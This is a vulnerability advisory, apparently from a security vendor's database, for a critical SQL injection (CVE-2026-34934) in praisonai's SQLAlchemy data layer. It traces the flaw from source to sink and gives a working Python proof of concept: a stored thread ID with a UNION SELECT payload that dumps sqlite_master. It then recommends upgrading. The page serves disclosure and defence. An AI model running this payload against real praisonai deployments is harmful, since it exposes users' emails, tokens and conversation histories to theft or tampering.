CVE-2026-34934

The get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access.

Details

File Path:
src/praisonai/praisonai/ui/sql_alchemy.py

Flow:

• Source (Line 539):

await data_layer.update_thread(thread_id=payload, user_id=user)

• Hop (Line 547):

thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"

• Sink (Line 576):

WHERE s."threadId" IN {thread_ids}

Proof of Concept (PoC)

import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer

async def run_poc():
    data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")

    # Insert a valid thread
    await data_layer.update_thread(
        thread_id="valid_thread", 
        user_id="attacker"
    )

    # Inject malicious payload
    payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"

    await data_layer.update_thread(
        thread_id=payload, 
        user_id="attacker"
    )

    # Trigger vulnerable function
    result = await data_layer.get_all_user_threads(user_id="attacker")

    for thread in result:
        if getattr(thread, 'id', '') == 'valid_thread':
            for step in getattr(thread, 'steps', []):
                print(getattr(step, 'id', ''))

asyncio.run(run_poc())

# Expected Output:
# sqlite_master table names printed to console

An attacker can achieve full database compromise, including:

• Exfiltration of sensitive data (user emails, session tokens, API keys)
• Access to all conversation histories
• Ability to modify or delete database contents

Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.

CVE-2026-34934 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.5.90); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-34934? CVE-2026-34934 is a critical-severity SQL injection vulnerability in praisonai (pip), affecting versions <= 4.5.89. It is fixed in 4.5.90. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
2. How severe is CVE-2026-34934? CVE-2026-34934 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of praisonai are affected by CVE-2026-34934? praisonai (pip) versions <= 4.5.89 is affected.
4. Is there a fix for CVE-2026-34934? Yes. CVE-2026-34934 is fixed in 4.5.90. Upgrade to this version or later.
5. Is CVE-2026-34934 exploitable, and should I be worried? Whether CVE-2026-34934 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-34934 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-34934? Upgrade praisonai to 4.5.90 or later.